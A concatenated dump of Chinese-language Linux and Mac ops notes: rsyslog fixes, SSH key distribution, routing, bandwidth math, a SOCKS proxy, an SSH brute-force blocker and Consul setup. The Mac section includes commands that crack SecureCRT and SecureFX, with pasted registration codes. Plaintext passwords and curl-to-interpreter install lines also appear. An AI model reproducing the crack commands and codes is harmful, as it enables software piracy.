重装下rsyslog,于是yum reinstall rsyslog,重新运行rsyslog 无效 8 | Solution 9 | 找到配置文件 /etc/rsyslog.conf 10 | 修改如下: 11 | 解注释:#$ModLoad imklog # reads kernel messages (the same are read from journald) 12 | 修改为:$ModLoad imklog # reads kernel messages (the same are read from journald) 13 | 14 | 增加注释:$OmitLocalLogging on 15 | 修改为:#$OmitLocalLogging on 16 | 17 | 增加注释:$IMJournalStateFile imjournal.state 18 | 修改为:#$IMJournalStateFile imjournal.state 19 | 20 | 重启日志:systemctl restart rsyslog 21 | tai日志:tail -f /var/log/messages 可以了 22 | ———————————————— 23 | 版权声明:本文为CSDN博主「TianXieErYang」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 24 | 原文链接:https://blog.csdn.net/tianxieeryang/article/details/86220988 25 | ``` 26 | 参考资料: 27 | 28 | https://blog.csdn.net/tianxieeryang/article/details/86220988 CentOS 7不收集日志 /var/log/messages 29 | -------------------------------------------------------------------------------- /linux/系统优化/Linux root占用过大空间的现象.md: -------------------------------------------------------------------------------- 1 | Linux系统中/root显示大小为181G,但/root下却无大文件,重启OS后依然如此. 2 | 3 | ``` 4 | root># du -sh .[!.]* 5 | 36K .bash_history 6 | 4.0K .bash_logout 7 | 4.0K .bash_profile 8 | 4.0K .bashrc 9 | 4.0K .bashrc-anaconda3.bak 10 | 19M .cache 11 | 4.0K .cshrc 12 | 8.0K .groovy 13 | 20K .java 14 | 9.7G .jenkins 15 | 4.0K .lesshst 16 | 52M .local 17 | 960M .m2 18 | 8.0K .pki 19 | 4.0K .python_history 20 | 16K .ssh 21 | 4.0K .tcshrc 22 | 4.0K .viminfo 23 | 24 | 25 | 26 | du -h --max-depth=1 / 27 | ``` 28 | 参考文档: 29 | 30 | https://blog.csdn.net/lk_db/article/details/78341698 31 | -------------------------------------------------------------------------------- /linux/系统优化/SSH免key登陆批量下发.md: -------------------------------------------------------------------------------- 1 | # 一、秘钥分发脚本 2 | 3 | ``` 4 | cat > /tmp/ssh-dist.sh << \EOF 5 | #!/bin/bash 6 | yum -y install sshpass 7 | 8 | # confirm the user of the operation 9 | echo "The current user is `whoami`" 10 | 11 | # 1.generate the key pair 12 | # 判断key是否已经存在,如果不存在就生成新的key 13 | if [ -f ~/.ssh/id_rsa ];then 14 | echo "rsa ssh-key file already exists" /bin/true 15 | else 16 | echo "rsa ssh-key file does not exists" 17 | ssh-keygen -t rsa -f ~/.ssh/id_rsa -P "" >/dev/null 2>&1 18 | if [ $? -eq 0 ];then 19 | echo "generate rsa ssh-key" /bin/true 20 | else 21 | echo "generate rsa ssh-key" /bin/false 22 | exit 1 23 | fi 24 | fi 25 | 26 | # 2.distribution public key 27 | for host in $(cat ./ssh-ip | grep -v "#" | grep -v ";" | grep -v "^$") 28 | do 29 | ip=$(echo ${host} | cut -f1 -d ":") 30 | password=$(echo ${host} | cut -f2 -d ":") 31 | user=root 32 | port_ip=$(echo ${user}@${ip}) 33 | sshpass -p "${password}" ssh-copy-id -i ~/.ssh/id_rsa.pub -o StrictHostKeyChecking=no ${port_ip} 34 | if [ $? -eq 0 ];then 35 | echo "${ip} distribution public key" /bin/true 36 | else 37 | echo "${ip} distribution public key" /bin/false 38 | exit 1 39 | fi 40 | done 41 | EOF 42 | ``` 43 | ``` 44 | chmod +x /tmp/ssh-dist.sh 45 | ``` 46 | 47 | # 二、配置需要下发的主机ip和密码 48 | ``` 49 | # 格式如下: 50 | ip:密码 51 | 52 | cat > /tmp/ssh-ip <<\EOF 53 | 192.168.56.11:123456 54 | 192.168.56.12:123456 55 | EOF 56 | ``` 57 | # 三、使用方法 58 | ``` 59 | sh /tmp/ssh-dist.sh 60 | 61 | ``` 62 | 参考资料: 63 | 64 | https://cloud.tencent.com/developer/article/1403965 Linux 通过RSA公钥实现SSH免密码登录 65 | -------------------------------------------------------------------------------- /linux/系统优化/TCP 10倍延迟的真相.md: -------------------------------------------------------------------------------- 1 | https://mp.weixin.qq.com/s/fKWJrDNSAZjLsyobolIQKw 直击案发现场!TCP 10倍延迟的真相是 2 | -------------------------------------------------------------------------------- /linux/系统优化/centos7自定义服务.md: -------------------------------------------------------------------------------- 1 | ``` 2 | vim /usr/lib/systemd/system/zdy.service 3 | 4 | [Unit] 5 | Description=描述 6 | Environment=环境变量或参数(系统环境变量此时无法使用) 7 | After=network.target 8 | 9 | [Service] 10 | Type=forking 11 | EnvironmentFile=所需环境变量文件或参数文件 12 | ExecStart=启动命令(需指定全路径) 13 | ExecStop=停止命令(需指定全路径) 14 | User=以什么用户执行命令 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | ``` 19 | 20 | ``` 21 | # 添加或修改配置文件后,需要重新加载 22 | systemctl daemon-reload 23 | 24 | # 设置自启动,实质就是在 /etc/systemd/system/multi-user.target.wants/ 添加服务文件的链接 25 | systemctl enable zdy 26 | ``` 27 | 参考文档: 28 | 29 | https://blog.csdn.net/z1026544682/article/details/93473876 Systemd 添加自定义服务(开机自启动) 30 | -------------------------------------------------------------------------------- /linux/系统优化/cronolog-1.6.2.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/系统优化/cronolog-1.6.2.tar.gz -------------------------------------------------------------------------------- /linux/系统优化/history_conf: -------------------------------------------------------------------------------- 1 | #HISTSIZE=4096 2 | #HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT 3 | #export HISTORY_FILE=/var/log/.shell_audit/audit.log 4 | #export PROMPT_COMMAND='{ code=$?;thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logDay=${whoStr[2]};logTime=${whoStr[3]};pid=${whoStr[5]};ip=${whoStr[6]};if [[ ${thisHistID}x != ${lastHistID}x ]];then echo -E `date "+%Y/%m/%d %H:%M:%S"` $user\($realUser\)@$ip[PID:$pid][LOGIN:$logDay $logTime] --- [$PWD]$lastCommand [$code];lastHistID=$thisHistID;fi; } >> $HISTORY_FILE' 5 | 6 | #2022-02-12优化历史命令显示 7 | HISTSIZE=20 8 | HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT 9 | export HISTORY_FILE=/var/log/.shell_audit/audit.log 10 | export PROMPT_COMMAND='{ code=$?;thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logDay=${whoStr[2]};logTime=${whoStr[3]};pid=${whoStr[5]};ip=`echo ${whoStr[6]}|tr -d "()"`;if [[ ${thisHistID}x != ${lastHistID}x ]];then echo -E [`date "+%Y/%m/%d %H:%M:%S"`] [$realUser@$ip] [$user] [PID:$pid] [LOGIN:$logDay $logTime] -- [$PWD] [$lastCommand ] [$code];lastHistID=$thisHistID;fi; } >> $HISTORY_FILE' 11 | -------------------------------------------------------------------------------- /linux/系统优化/性能测试分析与性能调优诊断--史上最全的服务器性能分析监控调优篇.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.cnblogs.com/laoqing/p/11629941.html 性能测试分析与性能调优诊断--史上最全的服务器性能分析监控调优篇 4 | -------------------------------------------------------------------------------- /linux/系统优化/换到到其他用户中去执行一个指令或脚本.md: -------------------------------------------------------------------------------- 1 | su   -  USER 能切换到一个用户中去执行一个指令或脚本, 2 | 3 | 下面讲讲在实际工作中我们如何使用 su  -  USER  -c  "COMMAND" 切换用户只执行一条命令的可以用:su  -  USER  -c  "COMMAND"   -c是command的缩写 4 | 5 | 列如: su - oracle  -c "lsnrctl start" 这样的好处就是不用切换到oracle用户下去执行,如果是在脚本中就更方便了! 6 | 7 | 切换用户执行一个shell文件可以用:  8 | 9 | ``` 10 | su - oracle -s  "/bin/bash shell.sh" 11 | ``` 12 | 13 | 例如配合EOF使用实现oracle的自启动: 14 | ``` 15 | #!/bin/bash 16 | 17 | su - oracle < 18 | 19 | lsnrctl start 20 | 21 | sqlplus /nolog 22 | 23 | conn /as sysdba 24 | 25 | startup 26 | 27 | exit 28 | 29 | EOF 30 | ``` 31 | 32 | su 和 su  - 的区别: 33 | 34 | su   切换用户,不切换用户环境 35 | 36 | su  -  切换用户,也切换用户环境 37 | 38 | su  -  USER  -c  "XXX"   切换用户,也切换用户环境,执行相应操作 39 | 40 | 41 | 参考资料: 42 | 43 | https://www.jianshu.com/p/46d85ec0a2b1 如何使用su - USER -c "COMMAND" 44 | -------------------------------------------------------------------------------- /linux/系统优化/登录用户出现-bash-4.2的问题解决.md: -------------------------------------------------------------------------------- 1 | 今天在linux服务器上创建的用户,登录后发现此用户的CRT的终端提示符显示的是-bash-4.2# 而不是user@主机名 + 路径的显示方式,以往一直用的脚本也不能执行起来; 2 | 原因是在用useradd添加普通用户时,有时会丢失家目录下的环境变量文件,丢失文件如下: 3 | 1、.bash_profile 4 | 2、.bashrc 5 | 以上这些文件是每个用户都必备的文件。 6 | 此时可以使用以下命令从主默认文件/etc/skel/下重新拷贝一份配置信息到此用户家目录下 7 | 8 | ``` 9 | cp /etc/skel/.bashrc /home/www/ 10 | cp /etc/skel/.bash_profile /home/www/ 11 | ``` 12 | 13 | 参考文档: 14 | 15 | https://blog.csdn.net/weixin_43279032/article/details/84531082 16 | -------------------------------------------------------------------------------- /linux/系统优化/磁盘优化思路.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://blog.51cto.com/14113311/2376157?source=dra 4 | -------------------------------------------------------------------------------- /linux/网络相关/10、三线机房服务器策略路由.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 1、安装软件包 3 | yum install iproute -y 4 | 5 | 2、查看策略数据库 6 | $ ip rule show 7 | 0: from all lookup local 8 | 32766: from all lookup main 9 | 32767: from all lookup default 10 | 11 | 3、添加策略路由 12 | 13 | 在添加规则时,必须先确定好“条件”、“优先级别”及“路由表ID”,此后才可以执行添加规则的操作。 14 | 15 | 条件 16 | 17 | 条件是用来决定哪类数据包可以符合这项规则,而可用来匹配的字段为Source IP、Destination IP、Type of Service、fwmark及dev等,这些字段的使用方式如下: 18 | 19 | Source IP 20 | 21 | 根据来源端IP来决定数据包参考哪个路由表发送出去。以下两个示例分别指出,如果数据包的来源端IP是192.168.1.10,就参考路由表10;如果来源端IP为192.168.2.0/24网段的IP,就参考路由表20。 22 | 23 | ip rule add from 192.168.1.10 table 10 24 | ip rule add from 192.168.2.0/24 table 20 25 | 1 26 | 2 27 | Destination IP 28 | 29 | 根据目的端IP来决定数据包参考哪个路由表发送出去。以下两个示例分别指出,如果数据包的目的端IP是168.95.1.1,就参考路由表10;如果目的端IP是168.95.0.0/24网段的IP,就参考路由表20。 30 | 31 | ip rule add to 168.95.1.1 table 10 32 | ip rule add to 168.96.0.0/24 table 20 33 | 1 34 | 2 35 | fwmark 36 | 37 | 将fwmark作为匹配条件时,必须搭配Netfilter一起使用, 这看起来很麻烦, 却是最灵活的匹配条件。如图10-8所示,某公司对外有三条ADSL,我们希望所有HT T P 协议经由第一条ADS L ,SMTP及POP3经由第二条ADSL,其余流量则经由第三条ADSL。可以使用如下的命令组合来达到这样的目的: 38 | 39 | ``` 40 | 41 | 参考文档: 42 | 43 | https://blog.csdn.net/u012758088/article/details/76255543 Linux系列—策略路由、ip rule、ip route 44 | -------------------------------------------------------------------------------- /linux/网络相关/11、充分利用带宽,BBR减少TCP连接的延迟.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | http://www.dongchuanmin.com/archives/487.html BBR加速是什么?安装谷歌BBR 4 | -------------------------------------------------------------------------------- /linux/网络相关/12、Bps,bps,pps等的计算.md: -------------------------------------------------------------------------------- 1 | # 一、什么是包转发率 2 | 3 | 对于网络设备而言,除了吞吐量这个重要指标以外,报文转发率,也就是常说的包转发率是衡量网络设备性能的另一个主要指标。包转发率一般是指以64字节数据包的全双工吞吐量,该指标既包括吞吐量指标也涵盖了报文转发率指标。 4 | 5 | 包转发率的含义是每秒钟内所转发的数据包的个数,单位为pps,即packet per second。 6 | 这里的数据包packet和字节byte有个对应关系,即1packet=64byte。为什么是64呢,这是对包的定义,网络中1个数据包最小包含64字节,这64个字节指的是单纯的数据。当然数据包在网络中的传输不是仅仅裸传数据包,还要给每个数据包加上8byte的帧头和12byte的帧间隙,因此每传输一个数据包就需要传输64+8+12共84byte。 7 | 8 | 下面以一个1000Mbps的线速端口计算一下其最大包转发率。 9 | 1000Mbps=1,000,000,000bps/(84*8bit)≈1,488,095pps=1.488Mpps 10 | 11 | 按照此算法以此类推,可以得出以下常用线速端口的包转发率: 12 | 13 | 万兆线速端口包转发率14.88Mpps 14 | 15 | 千兆线速端口包转发率1.488Mpps 16 | 17 | 百兆线速端口包转发率0.1488Mpps 18 | 19 | ```yaml 20 | Bps: Byte per second 每秒传输多少字节,下载速度通常用这个表示 21 | 22 | bps: bits per second 每秒传输多少位 ,这个也叫做端口速率 23 | 24 | pps:packet per second 每秒传输多少个packet 25 | 26 | 计算机中1个字节占8位,所以Bps到bps的转换可以为: 27 | bps=8*Bps 28 | 29 | 而pps又该怎么计算呢: 30 | 31 | 包转发率肯定得从捕获到包开始算起: 32 | 而离不开速率,速率又与长度有关,因为每个包长度不一定,所以我们求最大值,最大值也就意味着要用最小的包来计算,以以太网为例,以太网最小64字节(6+6+2+4+46),每个包又会有6字节的前导字符和12字节的帧间间隙,所以每个包最小84字节 33 | 也就意味着当Bps为10000时,bps为10000*8,pps为10000/84 34 | 所以三者之间知其一就能知道剩余的 35 | bps=Bps*8 36 | pps=Bps/84 //这求的是最大pps 37 | 38 | 39 | 以太网传输最小包长是64字节。包转发线速的衡量标准是以单位时间内发送64byte的数据包(最小包)的个数作为计算基准的。 40 | 对于千兆以太网来说,计算方法如下: 41 | 1000Mbps/((64B+8B+12B)×8bit)=1.488095pps 42 | 43 | 44 | 以下是常用以太网端口的包转发率: 45 | 46 | 1、万兆以太网:14.88Mpps 47 | 2、千兆以太网:1.488Mpps 48 | 3、百兆以太网:0.1488Mpps 49 | ``` 50 | 参考资料: 51 | 52 | https://blog.csdn.net/Coder_Joker/article/details/85617034 53 | 54 | https://www.jianshu.com/p/d04f26f78151 55 | 56 | https://www.cnblogs.com/wumj/p/9675780.html 什么是包转发率 57 | -------------------------------------------------------------------------------- /linux/网络相关/1、mac安装mtr诊断路由.md: -------------------------------------------------------------------------------- 1 | # 在Mac OS X中安装mtr诊断路由 2 | 3 | ``` 4 | /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/uninstall)" 5 | 6 | /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 7 | 8 | sudo chown -R $(whoami):staff $(brew --prefix)/* 9 | 10 | 或者 11 | cd /usr/local 12 | sudo chown -R : * 13 | 14 | group name usually staff and don't forget the * (staff 是mac经常用的分组) 15 | ``` 16 | ``` 17 | 如果本地安装了brew 的话,安装很方便了 18 | 19 | brew install mtr 20 | 21 | 安装步骤 22 | Kim-Pro:~ Kim$ brew install mtr 23 | ==> Downloading https://homebrew.bintray.com/bottles/mtr-0.86.yosemite.bottle.tar.gz 24 | ######################################################################## 100.0% 25 | ==> Pouring mtr-0.86.yosemite.bottle.tar.gz 26 | ==> Caveats 27 | mtr requires root privileges so you will need to run `sudo mtr`. 28 | You should be certain that you trust any software you grant root privileges. 29 | ==> Summary 30 | /usr/local/Cellar/mtr/0.86: 8 files, 148K 31 | 32 | 提示已经安装成功 33 | 运行mtr出现提示 34 | 35 | -bash: mtr: command not found 36 | 37 | 解决方法: 38 | 39 | alias mtr=/usr/local/sbin/mtr 40 | 41 | 然后运行还是会出现问题 42 | 43 | mtr: unable to get raw sockets. 44 | 45 | 需要添加权限 46 | 47 | sudo chown root mtr 48 | sudo chmod u+s mtr 49 | 50 | 完了直接运行 51 | 52 | mtr baidu.com 53 | 54 | ``` 55 | 参考文档: 56 | 57 | http://www.fyhqy.com/post-373.html 在Mac OS X中安装mtr诊断路由 58 | 59 | https://stackoverflow.com/questions/46459152/cant-chown-usr-local-for-homebrew-in-mac-os-x-10-13-high-sierra 60 | -------------------------------------------------------------------------------- /linux/网络相关/5、ssh卡在debug1: SSH2_MSG_KEXINIT sent的解决办法.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 在CentOS 6上,DHCP客户端配置位于特定于接口的文件中。对于公共接口eth0,配置文件为/etc/dhcp/dhclient-eth0.conf。由于这仅对有效eth0,因此我们可以简单地添加以下行 3 | 4 | supersede interface-mtu 1500; 5 | 到这个文件。 6 | 7 | 要激活更改的配置,您只需要重新启动界面即可: 8 | 9 | [root@centos ~]# ifdown eth0; ifup eth0 10 | 请记住,如果您通过SSH登录,这可能会断开您的连接。 11 | ``` 12 | 13 | ``` 14 | [root@centos ~]# nmcli connection modify "System eth0" ethernet.mtu 1500 15 | ``` 16 | 参考资料: 17 | 18 | https://www.cnblogs.com/idontknowthisperson/p/11098823.html MacBook ssh卡在debug1: SSH2_MSG_KEXINIT sent的解决办法 19 | 20 | 21 | https://devops.ionos.com/tutorials/override-dhcp-settings-on-centos/ centos 6 7 DHCP修改MTU 22 | -------------------------------------------------------------------------------- /linux/网络相关/7、ssh代理访问境外.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ssh -i id_salt_rsa -p 33389 -qTCnfND 7070 root@192.169.*.* (公网服务器) 3 | 4 | 5 | #测试 6 | curl --proxy socks5://127.0.0.1:7070 google.com 7 | curl --socks5 127.0.0.1:7070 google.com 8 | 9 | ``` 10 | 参考资料: 11 | 12 | http://blog.wdlyb.com/tools-for-vps.html 13 | -------------------------------------------------------------------------------- /linux/网络相关/8、Linux下网卡的混杂promisc模式浅谈.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 混杂模式就是接收所有经过网卡的数据包,包括不是发给本机的包,即不验证MAC地址。普通模式下网卡只接收发给本机的包(包括广播包)传递给上层程序,其它的包一律丢弃。 3 | 4 | 一般来说,混杂模式不会影响网卡的正常工作,多在网络监听工具上使用。 5 | 6 | 网卡具有如下的几种工作模式: 7 | 1) 广播模式(Broad Cast Model):它的物理地址(MAC)地址是 0Xffffff 的帧为广播帧,工作在广播模式的网卡接收广播帧。 8 | 2)多播传送(MultiCast Model):多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果将网卡设置为多播传送模式,它可以接收所有的多播传送帧,而不论它是不是组内成员。 9 | 3)直接模式(Direct Model):工作在直接模式下的网卡只接收目地址是自己 Mac地址的帧。 10 | 4)混杂模式(Promiscuous Model):工作在混杂模式下的网卡接收所有的流过网卡的帧,信包捕获程序就是在这种模式下运行的。 11 | 12 | 网卡的缺省工作模式包含广播模式和直接模式,即它只接收广播帧和发给自己的帧。如果采用混杂模式,一个站点的网卡将接受同一网络内所有站点所发送的数据包这样就可以到达对于网络信息监视捕获的目的。 13 | 14 | Linux下设置把网卡设置成混杂模式的命令也很简单 15 | 设置混杂模式 16 | ifconfig eth0 promisc 17 | 18 | 取消混杂模式 19 | ifconfig eth0 -promisc 20 | 21 | 小知识:使用tcpdump抓包时网卡会进入混杂模式,可以在/var/log/messages里看到 22 | 23 | 如下图,开启tcpdump抓包后,在新窗口克隆会话tail -f /var/log/messages可以看到系统日志 24 | 25 | kernel: device eth0 entered promiscuous mode 26 | 27 | ``` 28 | 参考资料: 29 | 30 | https://cloud.tencent.com/developer/article/1439013 Linux下网卡的混杂模式浅谈 31 | -------------------------------------------------------------------------------- /linux/网络相关/9、调整网卡队列,缓解丢包问题.md: -------------------------------------------------------------------------------- 1 | ``` 2 | nicstat安装包下载与安装: 3 | 4 | wget https://downloads.sourceforge.net/project/nicstat/nicstat-1.95.tar.gz 5 | 6 | tar -zxvf nicstat-1.95.tar.gz 7 | 8 | cd nicstat-1.95 9 | 10 | cp Makefile.Linux Makefile 11 | 12 | vi Makefile 后修改 CFLAGS = $(COPT) 13 | 14 | make && make install //执行安装 15 | 16 | Linux执行nicstat -z 1,结果如下: 17 | 18 | 19 | ``` 20 | 参考资料: 21 | 22 | https://blog.51cto.com/zxdlife/2330778?source=dra 23 | 24 | 25 | 26 | https://www.e-learn.cn/content/qita/2728274 nicstat命令安装与分析 27 | -------------------------------------------------------------------------------- /linux/网络相关/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 例如所谓 10M 带宽,其实是指 10Mbps (兆比特) 3 | 4 | 计算带宽理论最快下载速度:10÷8=1.25MB/s 5 | 6 | 那么100M的带宽最快下载速度是12.5MB/s。 7 | 8 | 但这只是理论上的速度,在这个数值附近浮动都算是较理想的,实际上因为各种因素,还要再减去一些损耗. 9 | ``` 10 | 11 | ``` 12 | MB/s 的含义是兆字节每秒,Mb/s的含义是兆比特每秒,前者是指每秒传输的字节数量,后者是指每秒传输的比特位数。二者是完全不同的。 13 | 14 | Byte是字节 数,bit是位数,在计算机中每八位为一字节,也就是1Byte=8bit,是1:8的对应关系。因此1MB/s等于8Mb/s。因此在在书写单位时一定 要注意B字母的大小写,此时B字母的大小真可以称为失之毫厘,谬以千里。在数据传输率上官方数据中(如电信部门)一般采用Mb/s或Kb/s为单位。 15 | 16 | 而下载软件(如IE、迅雷、快车)一般采用MB/s或KB/s为单位。 17 | ``` 18 | 19 | 参考文档: 20 | 21 | https://cloud.tencent.com/developer/article/1332118 用MTR诊断网络问题 22 | -------------------------------------------------------------------------------- /linux/防止ssh暴力破解登录.md: -------------------------------------------------------------------------------- 1 | # 防暴力破解登录 2 | ``` 3 | cat > /usr/local/bin/Denyhosts.sh << \EOF 4 | #!/bin/bash 5 | 6 | #Denyhosts SHELL SCRIPT 7 | 8 | cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"=" $1;}' >/tmp/Denyhosts.txt 9 | DEFINE="15" 10 | for i in `cat /tmp/Denyhosts.txt` 11 | do 12 | IP=`echo $i|awk -F= '{print $1}'` 13 | NUM=`echo $i|awk -F= '{print $2}'` 14 | if [ $NUM -gt $DEFINE ] 15 | then 16 | ipExists=`grep $IP /etc/hosts.deny |grep -v grep |wc -l` 17 | if [ $ipExists -lt 1 ];then 18 | echo "sshd:$IP" >> /etc/hosts.deny 19 | fi 20 | fi 21 | done 22 | EOF 23 | ``` 24 | # 定时任务 25 | ``` 26 | */1 * * * * /bin/bash /usr/local/bin/Denyhosts.sh 27 | ``` 28 | -------------------------------------------------------------------------------- /lvs/README.md: -------------------------------------------------------------------------------- 1 | # 子网掩码对照表 2 | 3 | ![子网掩码对照表](https://github.com/Lancger/opslinux/blob/master/images/%E5%AD%90%E7%BD%91%E6%8E%A9%E7%A0%81%E5%AF%B9%E7%85%A7%E8%A1%A8.png) 4 | 5 | 26位掩码对应的子网掩码为255.255.255.192,可用IP个数为62个,需要注意配置的时候在这个范围里面 6 | 7 | 参考文档: 8 | 9 | https://mp.weixin.qq.com/s?__biz=MzI4NDM5NzE4Ng==&mid=2247484086&idx=1&sn=2251b9b95521cef638d25735bc095390&chksm=ebfd595bdc8ad04d8bf3d62df0a28ded2bb1c473aa58b4c7db2a7819ddfe192ac37a611bb146&mpshare=1&scene=23&srcid=1108LXTDs2kl0afIMHftOKa9 10 | 11 | 12 | https://mp.weixin.qq.com/s?__biz=MzAwNTM5Njk3Mw==&mid=2247487840&idx=1&sn=9376756065395e9f1d91321860da9770&chksm=9b1c11e2ac6b98f4e1ebe0c6ec5815e0cd69c9254bb3fba68e4083ca7406fb56c3019391fd8d&mpshare=1&scene=23&srcid=&sharer_sharetime=1578974820414&sharer_shareid=e3aed5c2fdec06d648a99b41c36fe174#rd LVS 工作原理图文讲解,非常详细 13 | 14 | 15 | https://help.aliyun.com/document_detail/25412.html?source=5176.11533457&userCode=r3yteowb&type=copy 不支持多播协议。如果需要使用多播,建议改为使用单播点对点方式。 16 | -------------------------------------------------------------------------------- /mac/Mac下Securecrt安装.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 破解文件CRT 和 FX 3 | CRT 4 | sudo perl securecrt_linux_crack.pl /Applications/SecureCRT.app/Contents/MacOS/SecureCRT 5 | 6 | FX 7 | sudo perl securefx_linux_crack.pl /Applications/SecureFX.app/Contents/MacOS/SecureFX 8 | 9 | CRT 激活码 10 | yun 11 | yun 12 | 03-54-328305 13 | 09-05-2017 14 | ADVYE4 ZFGB1X CVDWAU GF22SC AAPRG2 KZXE9Z 5ZGC2C 1PRRCF 15 | 16 | FX 激活码 17 | yun 18 | yun 19 | 06-70-004614 20 | 09-05-2017 21 | ACUYJV Q1V2QU 1YWRCN NBYCYK ACN3JS 3APYJN MZKEYZ AWK1TF 22 | ``` 23 | https://blog.csdn.net/qq_34830467/article/details/83586696 24 | -------------------------------------------------------------------------------- /mac/Microsoft Remote Desktop for Mac下载.md: -------------------------------------------------------------------------------- 1 | https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-mac 2 | 3 | https://install.appcenter.ms/orgs/rdmacios-k2vy/apps/Microsoft-Remote-Desktop-for-Mac/distribution_groups/All-users-of-Microsoft-Remote-Desktop-for-Mac 4 | 5 | -------------------------------------------------------------------------------- /mac/README.md: -------------------------------------------------------------------------------- 1 | # Mac快捷键 2 | ```bash 3 | 1、快速打开chrome标签收藏 4 | 5 | alt+command+b 6 | 7 | 2、快速显示和隐藏书签 8 | 9 | shift+command+b 10 | 11 | 3、快速打开谷歌浏览器调试模式 12 | 13 | option+command+i 14 | ``` 15 | 16 | # 让iterm多个窗口执行同一个命令 17 | ```bash 18 | 只要按下Command+Shift+i 之后输入命令即可 19 | ``` 20 | 21 | # mac vscode快捷键 22 | ``` 23 | Ctrl + ` 打开默认终端; 24 | 25 | Ctrl + Shift + ` 新建新的终端; 26 | 27 | Ctrl + Shift + Y 打开调试控制台,然后再自行切换终端选项; 28 | 29 | ps: 30 | 31 | ` 在键盘数字1的左边, Ctrl 和 Shift 在键盘左下角. 32 | ``` 33 | 34 | # mac lrzsz 35 | 36 | https://github.com/lancger-ops/iterm2-zmodem 37 | -------------------------------------------------------------------------------- /mac/mac sshpass安装使用.md: -------------------------------------------------------------------------------- 1 | # 安装 2 | ``` 3 | brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb 4 | 5 | brew install http://git.io/sshpass.rb 6 | ``` 7 | 8 | # 配置alias快捷登录 9 | ```bash 10 | alias one="sshpass -p '3xn0C12Em0Uh' ssh -o StrictHostKeyChecking=no user@ssh.test.net" 11 | ``` 12 | 参考资料: 13 | 14 | https://segmentfault.com/a/1190000008138326 15 | -------------------------------------------------------------------------------- /mac/mac zsh清理历史记录.md: -------------------------------------------------------------------------------- 1 | ``` 2 | rm .zsh_history 3 | 4 | cat /dev/null > .zsh_history 5 | ``` 6 | https://segmentfault.com/q/1010000000447106 zsh 如何清空history? 7 | 8 | -------------------------------------------------------------------------------- /micro8/README.md: -------------------------------------------------------------------------------- 1 | ## 安全专题 2 | 3 | https://micro8.gitbook.io/micro8/ 4 | -------------------------------------------------------------------------------- /minio/README.md: -------------------------------------------------------------------------------- 1 | https://docs.min.io/cn/ 2 | -------------------------------------------------------------------------------- /monitor/Consul/consul-docker-single-install.md: -------------------------------------------------------------------------------- 1 | # 一、安装单个 Consul 2 | 3 | 先启动一个单机版 Consul,由于单机肯定需要安装 Server 模式的 Consul。 4 | 5 | 启动 Consul 和 Web 管理器 6 | 7 | 我们启动一个命名为 consul_server_1 的 Docker 容器来运行 Consul ,启动的 Consul 的版本是 1.4.4。CONSUL_BIND_INTERFACE 设置为默认桥接网络 eth0 并且主机上不显示任何服务。 8 | 9 | ``` 10 | docker run -d -p 8500:8500 -v /data0/consul:/consul/data -e CONSUL_BIND_INTERFACE='eth0' --name=consul_server_1 consul:1.4.4 agent -server -bootstrap -ui -node=1 -client='0.0.0.0' 11 | ``` 12 | 13 | 提示:/consul/data 是 Consul 持久化地方,如果需要持久化那 Dooker 启动时候需要给它指定一个数据卷 -v /data0/consul:/consul/data。 14 | 15 | 16 | # 二、Consul 命令简单介绍 17 | ``` 18 | agent : 表示启动 Agent 进程。 19 | -server:表示启动 Consul Server 模式。 20 | -client:表示启动 Consul Cilent 模式。 21 | -bootstrap:表示这个节点是 Server-Leader ,每个数据中心只能运行一台服务器。技术角度上讲 Leader 是通过 Raft 算法选举的,但是集群第一次启动时需要一个引导 Leader,在引导群集后,建议不要使用此标志。 22 | -ui:表示启动 Web UI 管理器,默认开放端口 8500,所以上面使用 Docker 命令把 8500 端口对外开放。 23 | -node:节点的名称,集群中必须是唯一的。 24 | -client:表示 Consul 将绑定客户端接口的地址,0.0.0.0 表示所有地址都可以访问。 25 | -join:表示加入到某一个集群中去。 如:-json=192.168.56.11 26 | ``` 27 | # 三、Web 管理器 28 | 29 | 上面命令已经启动了 Consul 和 Web 管理器,我们现在打开 Web 管理器来看一下是否启动成功。通过浏览器浏览 Http://{serverIp}:8500 。 30 | 参考文档: 31 | 32 | https://www.cnblogs.com/lfzm/p/10633595.html#%E5%AE%89%E8%A3%85%E5%8D%95%E4%B8%AA-consul 33 | -------------------------------------------------------------------------------- /monitor/Consul/consul操作示例.md: -------------------------------------------------------------------------------- 1 | # 一、consul操作示例 2 | 3 | ![consul-01](https://github.com/Lancger/opslinux/blob/master/images/consul-01.png) 4 | 5 | 6 | ![consul-02](https://github.com/Lancger/opslinux/blob/master/images/consul-02.png) 7 | 8 | 9 | ![consul-03](https://github.com/Lancger/opslinux/blob/master/images/consul-03.png) 10 | 11 | 12 | ![consul-04](https://github.com/Lancger/opslinux/blob/master/images/consul-04.png) 13 | 14 | 15 | 